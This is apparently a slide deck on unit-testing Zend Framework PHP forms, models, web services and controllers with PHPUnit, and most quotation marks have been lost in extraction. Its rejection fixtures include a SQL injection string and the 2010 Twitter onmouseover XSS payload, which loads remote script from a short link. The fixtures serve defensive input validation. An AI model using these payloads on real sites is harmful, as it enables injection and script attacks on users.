Any reasons not to test?

Most common excuses• no time• not within budget• development team does not know how• tests are provided after delivery•…

NO EXCUSES!

The cost of bugs Bugs Project Costs100 75 50 25 0 Start Milestone1 Milestone2 Milestone3

The cost of bugs Bugs Project Costs Unittests100 75 50 25 0 Start Milestone1 Milestone2 Milestone3

Maintainability•- during development test will fail indicating bugs•- after sales support testing if an issue is genuine - ﬁxing issues won’t break code base ‣ if they do, you need to ﬁx it!• long term projects - refactoring made easy

Remember“Once a test is made, it will always be tested!”

Conﬁdence•- for the developer code works•- for the manager project succeeds•- for sales / general management / share holders making proﬁt•- for the customer paying for what they want

Testing Zend_Form

CommentForm Name:E-mail Address: Website: Comment: Post

Start with the test<?phpclass Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase{ protected $_form; protected function setUp() { $this->_form = new Application_Form_CommentForm(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_form = null; }}

The good stuffpublic function goodData(){ return array ( array (John Doe, john.doe@example.com, http://example.com, test comment), array ("Matthew Weier OPhinney", matthew@zend.com, http://weierophinney.net, Doing an MWOP-Test), array (D. Keith Casey, Jr., Keith@CaseySoftware.com, http://caseysoftware.com, Doing a monkey dance), );}/** * @dataProvider goodData */public function testFormAcceptsValidData($name, $email, $web, $comment){ $data = array ( name => $name, mail => $mail, web => $web, comment => $comment, ); $this->assertTrue($this->_form->isValid($data));}

The bad stuffpublic function badData(){ return array ( array (,,,), array ("Robert; DROP TABLES comments; --", , http://xkcd.com/327/,Little Bobby Tables), array (str_repeat(x, 100000), , , ), array (John Doe, jd@example.com, "http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript(http:u002fu002fis.gdu002ffl9A7)"/", exploit twitter 9/21/2010), );}/** * @dataProvider badData */public function testFormRejectsBadData($name, $email, $web, $comment){ $data = array ( name => $name, mail => $mail, web => $web, comment => $comment, ); $this->assertFalse($this->_form->isValid($data));}

Create the form class<?phpclass Application_Form_CommentForm extends Zend_Form{ public function init() { /* Form Elements & Other Definitions Here ... */ }}

Let’s run the test

Let’s put in our elements<?phpclass Application_Form_CommentForm extends Zend_Form{ public function init() { $this->addElement(text, name, array ( Label => Name, Required => true)); $this->addElement(text, mail, array ( Label => E-mail Address, Required => true)); $this->addElement(text, web, array ( Label => Website, Required => false)); $this->addElement(textarea, comment, array ( Label => Comment, Required => true)); $this->addElement(submit, post, array ( Label => Post, Ignore => true)); }}

Less errors?

Filter - Validate$this->addElement(text, name, array ( Label => Name, Required => true, Filters => array (StringTrim, StripTags), Validators => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array (min => 4, max => 50))),));$this->addElement(text, mail, array ( Label => E-mail Address, Required => true, Filters => array (StringTrim, StripTags, StringToLower), Validators => array ( new Zend_Validate_EmailAddress(), new Zend_Validate_StringLength(array (min => 4, max => 50))),));$this->addElement(text, web, array ( Label => Website, Required => false, Filters => array (StringTrim, StripTags, StringToLower), Validators => array ( new Zend_Validate_Callback(array(Zend_Uri, check)), new Zend_Validate_StringLength(array (min => 4, max => 50))),));$this->addElement(textarea, comment, array ( Label => Comment, Required => true, Filters => array (StringTrim, StripTags), Validators => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array (max => 5000))),));

Green, warm & fuzzy

You’re a winner!☑ quality code☑ tested☑ secure☑ reusable

Testing models

Testing business logic•- models contain logic tied to your business - tied to your storage - tied to your resources• no “one size ﬁts all” solution

Type: data containers•- contains structured data populated through setters and getters•- perform logic tied to it’s purpose transforming data - ﬁltering data - validating data• can convert into other data types - arrays - strings (JSON, serialized, xml, …)• are providers to other models

Comment Class

Writing model test<?phpclass Application_Model_CommentTest extends PHPUnit_Framework_TestCase{ protected $_comment; protected function setUp() { $this->_comment = new Application_Model_Comment(); parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_comment = null; } public function testModelIsEmptyAtConstruct() { $this->assertSame(0, $this->_comment->getId()); $this->assertNull($this->_comment->getFullName()); $this->assertNull($this->_comment->getEmailAddress()); $this->assertNull($this->_comment->getWebsite()); $this->assertNull($this->_comment->getComment()); }}

This test won’t run!

Create a simple model<?phpclass Application_Model_Comment{ protected $_id = 0; protected $_fullName; protected $_emailAddress; protected $_website; protected $_comment; public function setId($id) { $this->_id = (int) $id; return $this; } public function getId() { return $this->_id; } public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; } public function getFullName() { return $this->_fullName; } public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; } public function getEmailAddress() { return $this->_emailAddress; } public function setWebsite($website) { $this->_website = (string) $website; return $this; } public function getWebsite() { return $this->_website; } public function setComment($comment) { $this->_comment = (string) $comment; return $this; } public function getComment() { return $this->_comment; } public function populate($row) { if (is_array($row)) { $row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS); } if (isset ($row->id)) $this->setId($row->id); if (isset ($row->fullName)) $this->setFullName($row->fullName); if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress); if (isset ($row->website)) $this->setWebsite($row->website); if (isset ($row->comment)) $this->setComment($row->comment); } public function toArray() { return array ( id => $this->getId(), fullName => $this->getFullName(), emailAddress => $this->getEmailAddress(), website => $this->getWebsite(), comment => $this->getComment(), ); }}

We pass the test…

Really ???

Not all data from form!•- model can be populated from users through the form - data stored in the database - a webservice (hosted by us or others)• simply test it - by using same test scenario’s from our form

The good stuffpublic function goodData(){ return array ( array (John Doe, john.doe@example.com, http://example.com, test comment), array ("Matthew Weier OPhinney", matthew@zend.com, http://weierophinney.net, Doing an MWOP-Test), array (D. Keith Casey, Jr., Keith@CaseySoftware.com, http://caseysoftware.com, Doing a monkey dance), );}/** * @dataProvider goodData */public function testModelAcceptsValidData($name, $mail, $web, $comment){ $data = array ( fullName => $name, emailAddress => $mail, website => $web, comment => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { $this->fail(Unexpected exception should not be triggered); } $data[id] = 0; $data[emailAddress] = strtolower($data[emailAddress]); $data[website] = strtolower($data[website]); $this->assertSame($this->_comment->toArray(), $data);}

The bad stuffpublic function badData(){ return array ( array (,,,), array ("Robert; DROP TABLES comments; --", , http://xkcd.com/327/,Little BobbyTables), array (str_repeat(x, 1000), , , ), array (John Doe, jd@example.com, "http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript(http:u002fu002fis.gdu002ffl9A7)"/", exploit twitter9/21/2010), );}/** * @dataProvider badData */public function testModelRejectsBadData($name, $mail, $web, $comment){ $data = array ( fullName => $name, emailAddress => $mail, website => $web, comment => $comment, ); try { $this->_comment->populate($data); } catch (Zend_Exception $e) { return; } $this->fail(Expected exception should be triggered);}

Let’s run it

Modify our modelprotected $_filters;protected $_validators;public function __construct($params = null){ $this->_filters = array ( id => array (Int), fullName => array (StringTrim, StripTags, new Zend_Filter_Alnum(true)), emailAddress => array (StringTrim, StripTags, StringToLower), website => array (StringTrim, StripTags, StringToLower), comment => array (StringTrim, StripTags), ); $this->_validators = array ( id => array (Int), fullName => array ( new Zftest_Validate_Mwop(), new Zend_Validate_StringLength(array (min => 4, max => 50)), ), emailAddress => array ( EmailAddress, new Zend_Validate_StringLength(array (min => 4, max => 50)), ), website => array ( new Zend_Validate_Callback(array(Zend_Uri, check)), new Zend_Validate_StringLength(array (min => 4, max => 50)), ), comment => array ( new Zftest_Validate_TextBox(), new Zend_Validate_StringLength(array (max => 5000)), ), ); if (null !== $params) { $this->populate($params); }}

Modify setters: Id & namepublic function setId($id){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (id => $id)); if (!$input->isValid(id)) { throw new Zend_Exception(Invalid ID provided); } $this->_id = (int) $input->id; return $this;}public function setFullName($fullName){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (fullName => $fullName)); if (!$input->isValid(fullName)) { throw new Zend_Exception(Invalid fullName provided); } $this->_fullName = (string) $input->fullName; return $this;}

Email & websitepublic function setEmailAddress($emailAddress){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (emailAddress => $emailAddress)); if (!$input->isValid(emailAddress)) { throw new Zend_Exception(Invalid emailAddress provided); } $this->_emailAddress = (string) $input->emailAddress; return $this;}public function setWebsite($website){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (website => $website)); if (!$input->isValid(website)) { throw new Zend_Exception(Invalid website provided); } $this->_website = (string) $input->website; return $this;}

and commentpublic function setComment($comment){ $input = new Zend_Filter_Input($this->_filters, $this->_validators); $input->setData(array (comment => $comment)); if (!$input->isValid(comment)) { throw new Zend_Exception(Invalid comment provided); } $this->_comment = (string) $input->comment; return $this;}

Now we’re good!

Testing Databases

Integration Testing•- database speciﬁc functionality triggers - constraints - stored procedures - sharding/scalability• data input/output - correct encoding of data - transactions execution and rollback

Points of concern•- beware of automated data types auto increment sequence ID’s - default values like CURRENT_TIMESTAMP• beware of time related issues - timestamp vs. datetime - UTC vs. local time

The domain Model• Model object• Mapper object• Table gateway object Read more about it

Testing web services

Web services remarks•- you need to comply with an API that will be your reference•- you cannot always make a test-call paid services per call - test environment is “ofﬂine” - network related issues

Example: joind.in

http://joind.in/api

JoindinTest<?phpclass Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase{ protected $_joindin; protected $_settings; protected function setUp() { $this->_joindin = new Zftest_Service_Joindin(); $settings = simplexml_load_file(realpath( APPLICATION_PATH . /../tests/_files/settings.xml)); $this->_settings = $settings->joindin; parent::setUp(); } protected function tearDown() { parent::tearDown(); $this->_joindin = null; }}

JoindinTestpublic function testJoindinCanGetUserDetails(){ $expected = <?xml version="1.0"?><response><item><username>DragonBe</username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</last_login></item></response>; $this->_joindin->setUsername($this->_settings->username) ->setPassword($this->_settings->password); $actual = $this->_joindin->user()->getDetail(); $this->assertXmlStringEqualsXmlString($expected, $actual);}public function testJoindinCanCheckStatus(){ $date = new DateTime(); $date->setTimezone(new DateTimeZone(UTC)); $expected = <?xml version="1.0"?><response><dt> . $date->format(r) .</dt><test_string>testing unit test</test_string></response>; $actual = $this->_joindin->site()->getStatus(testing unit test); $this->assertXmlStringEqualsXmlString($expected, $actual);}

Testing the service

Euh… what?1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetailsFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <ID>19</ID>- <last_login>1303248639</last_login>+ <last_login>1303250271</last_login> </item> </response> I recently logged in ✔

And this?2) Zftest_Service_JoindinTest::testJoindinCanCheckStatusFailed asserting that two strings are equal.--- Expected+++ Actual@@ @@ <?xml version="1.0"?> <response>- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt> <test_string>testing unit test</test_string> </response> Latency of the network 1s ☹

Solution… right here!

Good implementation?

Controller Testing

Our form ﬂow

Setting up ControllerTest<?phpclass IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase{ public function setUp() { $this->bootstrap = new Zend_Application( APPLICATION_ENV, APPLICATION_PATH . /configs/application.ini); parent::setUp(); }}

Testing if form is on pagepublic function testIndexAction(){ $params = array( action => index, controller => index, module => default ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertQueryContentContains( h1#pageTitle, Please leave a comment); $this->assertQueryCount(form#commentForm, 1);}

Test processingpublic function testProcessAction(){ $testData = array ( name => testUser, mail => test@example.com, web => http://www.example.com, comment => This is a test comment, ); $params = array(action => process, controller => index, module => default); $url = $this->url($this->urlizeOptions($params)); $this->request->setMethod(post); $this->request->setPost($testData); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertResponseCode(302); $this->assertRedirectTo(/index/success); $this->resetRequest(); $this->resetResponse(); $this->dispatch(/index/success); $this->assertQueryContentContains(span#fullName, $testData[name]);}

REMARK•- data providers can be used to test valid data - to test invalid data• but we know it’s taken care of our model - just checking for error messages in form

Test if we hit homepublic function testSuccessAction(){ $params = array( action => success, controller => index, module => default ); $url = $this->url($this->urlizeOptions($params)); $this->dispatch($url); // assertions $this->assertModule($params[module]); $this->assertController($params[controller]); $this->assertAction($params[action]); $this->assertRedirectTo(/);}

Running the tests

Testing it all

Our progress report

Conclusion

• unit testing is simple• combine integration tests with unit tests• test what counts• mock out what’s remote
